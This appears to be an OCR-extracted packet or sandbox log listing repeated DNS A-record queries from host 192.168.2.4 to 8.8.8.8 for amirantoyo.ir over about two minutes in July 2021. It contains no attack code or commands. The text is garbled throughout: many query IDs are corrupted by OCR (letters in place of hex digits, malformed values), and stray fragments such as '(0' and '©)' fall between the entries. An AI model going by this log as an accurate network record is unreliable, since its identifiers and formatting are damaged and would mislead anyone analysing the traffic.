Jul 20, 2021 18:38:20.054975033 CEST 192.168.2.4 8.8.8.8 0x7924 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

Jul 20, 2021 18:38:20.508471012 CEST 192.168.2.4 8.8.8.8 0x13d3 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
O

Jul 20, 2021 18:38:20.954338074 CEST 192.168.2.4 8.8.8.8 0x5804 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:21.401454926 CEST 192.168.2.4 8.8.8.8 Oxfbd1 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:21.858366966 CEST 192.168.2.4 8.8.8.8 0xa047 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:22.325083971 CEST 192.168.2.4 8.8.8.8 0xd685 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:22.812311888 CEST 192.168.2.4 8.8.8.8 0x9db2 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:23.394141912 CEST 192.168.2.4 8.8.8.8 Ox4a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:23.911766052 CEST 192.168.2.4 8.8.8.8 0x162f Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:38:24.402815104 CEST 192.168.2.4 8.8.8.8 0x708e Standard query  amirantoyo.ir A (IP address) IN (0x0001)

©)
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Jul 20, 2021 18:38:24.911442041 CEST 192.168.2.4 8.8.8.8 0xd579 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:25.396697998 CEST 192.168.2.4 8.8.8.8 0x8bd6 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:38:25.860517025 CEST 192.168.2.4 8.8.8.8 Oxac6d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:26.383013010 CEST 192.168.2.4 8.8.8.8 Oxalab5 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:38:26.887110949 CEST 192.168.2.4 8.8.8.8 0xa427 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:38:27.377542019 CEST 192.168.2.4 8.8.8.8 0x70d5 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:27.860559940 CEST 192.168.2.4 8.8.8.8 0x70ad Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0)

Jul 20, 2021 18:38:28.344947100 CEST 192.168.2.4 8.8.8.8 0x3884 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:38:28.832245111 CEST 192.168.2.4 8.8.8.8 Oxelb0 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:29.319076061 CEST 192.168.2.4 8.8.8.8 0xbb87 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:29.808069944 CEST 192.168.2.4 8.8.8.8 0x5a42 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:30.415057898 CEST 192.168.2.4 8.8.8.8 0x58c Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:30.910929918 CEST 192.168.2.4 8.8.8.8 0x9ecc Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:38:31.753742933 CEST 192.168.2.4 8.8.8.8 Oxceb8 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:38:33.327064037 CEST 192.168.2.4 8.8.8.8 0x3dc5 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:38:33.930187941 CEST 192.168.2.4 8.8.8.8 Oxdeel Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:38:34.413425922 CEST 192.168.2.4 8.8.8.8 0x5d30 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:38:34.931890011 CEST 192.168.2.4 8.8.8.8 0Ox4c7e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:35.420943975 CEST 192.168.2.4 8.8.8.8 0x4d86 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:38:35.905458927 CEST 192.168.2.4 8.8.8.8 0x9c1d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:36.377621889 CEST 192.168.2.4 8.8.8.8 0x4d13 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:36.894660950 CEST 192.168.2.4 8.8.8.8 0x272 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:37.387218952 CEST 192.168.2.4 8.8.8.8 0x31lda Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:37.905476093 CEST 192.168.2.4 8.8.8.8 0xb5f2 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:38.428514004 CEST 192.168.2.4 8.8.8.8 0x676a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:38.915524006 CEST 192.168.2.4 8.8.8.8 Oxa7e6 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:39.426974058 CEST 192.168.2.4 8.8.8.8 0x2604 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

Jul 20, 2021 18:38:39.971569061 CEST 192.168.2.4 8.8.8.8 0xd298 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
O

Jul 20, 2021 18:38:40.477835894 CEST 192.168.2.4 8.8.8.8 Ox5eaa Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:40.992990017 CEST 192.168.2.4 8.8.8.8 0x2f10 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:41.485503912 CEST 192.168.2.4 8.8.8.8 0x9dd2 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:41.972368002 CEST 192.168.2.4 8.8.8.8 Oxeb13 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:42.449460030 CEST 192.168.2.4 8.8.8.8 0xd067 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:42.957314014 CEST 192.168.2.4 8.8.8.8 0x5622 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:43.464164972 CEST 192.168.2.4 8.8.8.8 0x2a0e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:43.928462982 CEST 192.168.2.4 8.8.8.8 0x6868 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:38:44.424572945 CEST 192.168.2.4 8.8.8.8 Oxc4e3 Standard query  amirantoyo.ir A (IP address) IN (0x0001)

©)
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Jul 20, 2021 18:38:44.906445026 CEST 192.168.2.4 8.8.8.8 0x3e30 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:45.416770935 CEST 192.168.2.4 8.8.8.8 0x2244 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:38:45.960450888 CEST 192.168.2.4 8.8.8.8 0x140a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:46.462995052 CEST 192.168.2.4 8.8.8.8 0x9c9 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:38:46.943315983 CEST 192.168.2.4 8.8.8.8 0x6a76 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:38:47.475716114 CEST 192.168.2.4 8.8.8.8 0x7311 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:48.001063108 CEST 192.168.2.4 8.8.8.8 0x2e8 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:38:48.489759922 CEST 192.168.2.4 8.8.8.8 0xd9ce Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:38:49.061585903 CEST 192.168.2.4 8.8.8.8 0x5ch1 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:49.564841032 CEST 192.168.2.4 8.8.8.8 0xf79¢c Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:50.372544050 CEST 192.168.2.4 8.8.8.8 0x9909 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
@

Jul 20, 2021 18:38:52.024528027 CEST 192.168.2.4 8.8.8.8 0xf022 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:52.531768084 CEST 192.168.2.4 8.8.8.8 0x569¢ Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:38:53.056014061 CEST 192.168.2.4 8.8.8.8 0xdff9 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:38:53.568717957 CEST 192.168.2.4 8.8.8.8 0x3f01 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:38:54.083760977 CEST 192.168.2.4 8.8.8.8 0xb3 Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:38:54.629524946 CEST 192.168.2.4 8.8.8.8 Oxcadd Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:38:55.088951111 CEST 192.168.2.4 8.8.8.8 0x8ccO Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:38:55.646455050 CEST 192.168.2.4 8.8.8.8 OxbacO Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:56.089389086 CEST 192.168.2.4 8.8.8.8 0x2803 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:56.587409019 CEST 192.168.2.4 8.8.8.8 0xbc88 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:57.082093954 CEST 192.168.2.4 8.8.8.8 0x3ec6 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:57.602010965 CEST 192.168.2.4 8.8.8.8 Oxaed4 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:58.083718061 CEST 192.168.2.4 8.8.8.8 Oxe50a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:58.587035894 CEST 192.168.2.4 8.8.8.8 0xb1f2 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:59.048990011 CEST 192.168.2.4 8.8.8.8 0x9df0 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:59.556070089 CEST 192.168.2.4 8.8.8.8 Oxaa3a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

Jul 20, 2021 18:39:00.059803009 CEST 192.168.2.4 8.8.8.8 0x18dd Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

Jul 20, 2021 18:39:00.554292917 CEST 192.168.2.4 8.8.8.8 0x9f51 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
O

Jul 20, 2021 18:39:01.036823034 CEST 192.168.2.4 8.8.8.8 0x2d2d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:01.521944046 CEST 192.168.2.4 8.8.8.8 0x352¢ Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:02.057647943 CEST 192.168.2.4 8.8.8.8 0x83d5 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:02.555996895 CEST 192.168.2.4 8.8.8.8 0x1961 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:03.034533978 CEST 192.168.2.4 8.8.8.8 0x7167 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:03.526714087 CEST 192.168.2.4 8.8.8.8 0x1858 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:04.000699043 CEST 192.168.2.4 8.8.8.8 0xc2b4 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:39:04.494779110 CEST 192.168.2.4 8.8.8.8 0x81cf Standard query  amirantoyo.ir A (IP address) IN (0x0001)

©)
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Jul 20, 2021 18:39:05.007038116 CEST 192.168.2.4 8.8.8.8 Oxb6da Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:39:05.502094984 CEST 192.168.2.4 8.8.8.8 0xc9cc Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:39:06.006860018 CEST 192.168.2.4 8.8.8.8 Oxab7e Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:06.569956064 CEST 192.168.2.4 8.8.8.8 0x8fb3 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:07.074877977 CEST 192.168.2.4 8.8.8.8 0x965b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:39:07.515750885 CEST 192.168.2.4 8.8.8.8 Ox5ad4 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:08.020061970 CEST 192.168.2.4 8.8.8.8 0xb770 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:39:08.515611887 CEST 192.168.2.4 8.8.8.8 0x9chb Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:39:09.005446911 CEST 192.168.2.4 8.8.8.8 Oxda9e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:09.506004095 CEST 192.168.2.4 8.8.8.8 0x24dd Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:10.010314941 CEST 192.168.2.4 8.8.8.8 0xall3 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
@

Jul 20, 2021 18:39:10.514511108 CEST 192.168.2.4 8.8.8.8 0x1ba3 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:10.982939005 CEST 192.168.2.4 8.8.8.8 Oxefdc Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:39:11.486175060 CEST 192.168.2.4 8.8.8.8 0x1f36 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:39:11.979568005 CEST 192.168.2.4 8.8.8.8 0xdb97 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:39:12.466414928 CEST 192.168.2.4 8.8.8.8 Oxbaa8 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:39:12.970957041 CEST 192.168.2.4 8.8.8.8 Oxbbea Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:39:13.476687908 CEST 192.168.2.4 8.8.8.8 0x13f7 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:39:13.992233992 CEST 192.168.2.4 8.8.8.8 0x87b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:14.501466036 CEST 192.168.2.4 8.8.8.8 0x87d6 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:15.005505085 CEST 192.168.2.4 8.8.8.8 0x7589 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:15.503063917 CEST 192.168.2.4 8.8.8.8 0x5a3a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:15.987541914 CEST 192.168.2.4 8.8.8.8 0x25af Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:16.472670078 CEST 192.168.2.4 8.8.8.8 0x6986 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:16.954248905 CEST 192.168.2.4 8.8.8.8 0x19f9 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:17.516160965 CEST 192.168.2.4 8.8.8.8 0xa926 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:18.055232048 CEST 192.168.2.4 8.8.8.8 0xe371 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:18.561443090 CEST 192.168.2.4 8.8.8.8 0xfb83 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0)

Jul 20, 2021 18:39:19.004606009 CEST 192.168.2.4 8.8.8.8 0x658d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:19.524540901 CEST 192.168.2.4 8.8.8.8 Oxe3e6 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:20.025015116 CEST 192.168.2.4 8.8.8.8 0x9c45 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:20.509768963 CEST 192.168.2.4 8.8.8.8 Oxbcce Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:21.021586895 CEST 192.168.2.4 8.8.8.8 Ox5eal Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:21.521940947 CEST 192.168.2.4 8.8.8.8 0x34el Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:22.039522886 CEST 192.168.2.4 8.8.8.8 Oxa55f Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:22.531711102 CEST 192.168.2.4 8.8.8.8 0x3fd Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:23.027765989 CEST 192.168.2.4 8.8.8.8 0x213e Standard query  amirantoyo.ir A (IP address) IN (0x0001)

©)
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Jul 20, 2021 18:39:23.541227102 CEST 192.168.2.4 8.8.8.8 OxbeOe Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:39:24.053227901 CEST 192.168.2.4 8.8.8.8 0xc076 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:39:24.530982971 CEST 192.168.2.4 8.8.8.8 0xd949 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:25.033160925 CEST 192.168.2.4 8.8.8.8 0x883f Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:39:25.509685040 CEST 192.168.2.4 8.8.8.8 Oxf2ad Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:25.996412039 CEST 192.168.2.4 8.8.8.8 0x3730 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:26.482153893 CEST 192.168.2.4 8.8.8.8 0x2734 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0)

Jul 20, 2021 18:39:26.956002951 CEST 192.168.2.4 8.8.8.8 Oxdfe5 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:39:27.451534033 CEST 192.168.2.4 8.8.8.8 0x71be Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:39:27.959825039 CEST 192.168.2.4 8.8.8.8 0x7e9f Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:28.449928999 CEST 192.168.2.4 8.8.8.8 Oxba69 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:28.970045090 CEST 192.168.2.4 8.8.8.8 0xdf09 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:29.508637905 CEST 192.168.2.4 8.8.8.8 0x3711 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:39:29.959670067 CEST 192.168.2.4 8.8.8.8 0x8d88 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:39:30.489939928 CEST 192.168.2.4 8.8.8.8 0xb703 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:39:30.984649897 CEST 192.168.2.4 8.8.8.8 Oxcc2c Standard query  amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:39:31.490772963 CEST 192.168.2.4 8.8.8.8 0x824a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:39:32.012084961 CEST 192.168.2.4 8.8.8.8 0xf833 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:32.532382011 CEST 192.168.2.4 8.8.8.8 0x5038 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:39:33.030514956 CEST 192.168.2.4 8.8.8.8 0x14ch Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:33.543170929 CEST 192.168.2.4 8.8.8.8 0xe890 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:34.032228947 CEST 192.168.2.4 8.8.8.8 0x4029 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:34.543553114 CEST 192.168.2.4 8.8.8.8 0xa383 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:35.089622021 CEST 192.168.2.4 8.8.8.8 0x9705 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:35.555243015 CEST 192.168.2.4 8.8.8.8 0x8e29 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:36.067363024 CEST 192.168.2.4 8.8.8.8 0x9587 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:36.556179047 CEST 192.168.2.4 8.8.8.8 0x4c92 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

Jul 20, 2021 18:39:37.066493034 CEST 192.168.2.4 8.8.8.8 0x3357 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:37.546428919 CEST 192.168.2.4 8.8.8.8 0x5a0f Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:38.034121037 CEST 192.168.2.4 8.8.8.8 0xf557 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:38.534653902 CEST 192.168.2.4 8.8.8.8 Oxe36a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:39.042704105 CEST 192.168.2.4 8.8.8.8 0xf71e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0)

Jul 20, 2021 18:39:39.540173054 CEST 192.168.2.4 8.8.8.8 0xd30b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:40.035482883 CEST 192.168.2.4 8.8.8.8 0xd6f8 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:40.604957104 CEST 192.168.2.4 8.8.8.8 0xd971 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:41.117916107 CEST 192.168.2.4 8.8.8.8 0x6f57 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:41.573725939 CEST 192.168.2.4 8.8.8.8 0xf081 Standard query  amirantoyo.ir A (IP address) IN (0x0001)

©)
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Jul 20, 2021 18:39:42.109080076 CEST 192.168.2.4 8.8.8.8 0xe475 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:42.637162924 CEST 192.168.2.4 8.8.8.8 0x503b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:39:43.154068947 CEST 192.168.2.4 8.8.8.8 Oxd2el Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:43.673122883 CEST 192.168.2.4 8.8.8.8 0x29d5 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:39:44.167341948 CEST 192.168.2.4 8.8.8.8 0x1d36 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:39:44.639296055 CEST 192.168.2.4 8.8.8.8 Oxaeab Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:45.162046909 CEST 192.168.2.4 8.8.8.8 0x7306 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0)

Jul 20, 2021 18:39:45.652551889 CEST 192.168.2.4 8.8.8.8 0x9ab4 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:39:46.165116072 CEST 192.168.2.4 8.8.8.8 0x2797 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:46.679435015 CEST 192.168.2.4 8.8.8.8 0x9ach Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:47.168195009 CEST 192.168.2.4 8.8.8.8 Oxdefa Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:47.665498972 CEST 192.168.2.4 8.8.8.8 0x21f3 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:48.189286947 CEST 192.168.2.4 8.8.8.8 0x932c Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:39:48.707978010 CEST 192.168.2.4 8.8.8.8 Oxa62d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:39:49.200459003 CEST 192.168.2.4 8.8.8.8 0x6987 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:39:49.704016924 CEST 192.168.2.4 8.8.8.8 0x6¢f5 Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:39:50.229437113 CEST 192.168.2.4 8.8.8.8 0x4f5b Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:39:50.761073112 CEST 192.168.2.4 8.8.8.8 0x5a89 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:39:51.255753994 CEST 192.168.2.4 8.8.8.8 0xch66 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:39:51.738778114 CEST 192.168.2.4 8.8.8.8 0xfOc Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:52.221185923 CEST 192.168.2.4 8.8.8.8 Oxed5f Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:52.795188904 CEST 192.168.2.4 8.8.8.8 0x7e5b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:53.655958891 CEST 192.168.2.4 8.8.8.8 0x4829 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:55.454118013 CEST 192.168.2.4 8.8.8.8 0x3c6e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:55.983860970 CEST 192.168.2.4 8.8.8.8 Oxed01 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:56.507014990 CEST 192.168.2.4 8.8.8.8 0x959a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:39:57.059251070 CEST 192.168.2.4 8.8.8.8 0x355a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

Jul 20, 2021 18:39:57.578682899 CEST 192.168.2.4 8.8.8.8 0x276¢ Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

Jul 20, 2021 18:39:58.144932985 CEST 192.168.2.4 8.8.8.8 Ox21da Standard query  amirantoyo.ir A (IP address) IN (0x0001)
O

Jul 20, 2021 18:39:58.641159058 CEST 192.168.2.4 8.8.8.8 0xe92b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:59.145586014 CEST 192.168.2.4 8.8.8.8 0x64c8 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:39:59.647841930 CEST 192.168.2.4 8.8.8.8 0x37fb Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:00.126696110 CEST 192.168.2.4 8.8.8.8 0x5358 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:00.653561115 CEST 192.168.2.4 8.8.8.8 0x354c Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:40:01.151278019 CEST 192.168.2.4 8.8.8.8 0x5d77 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

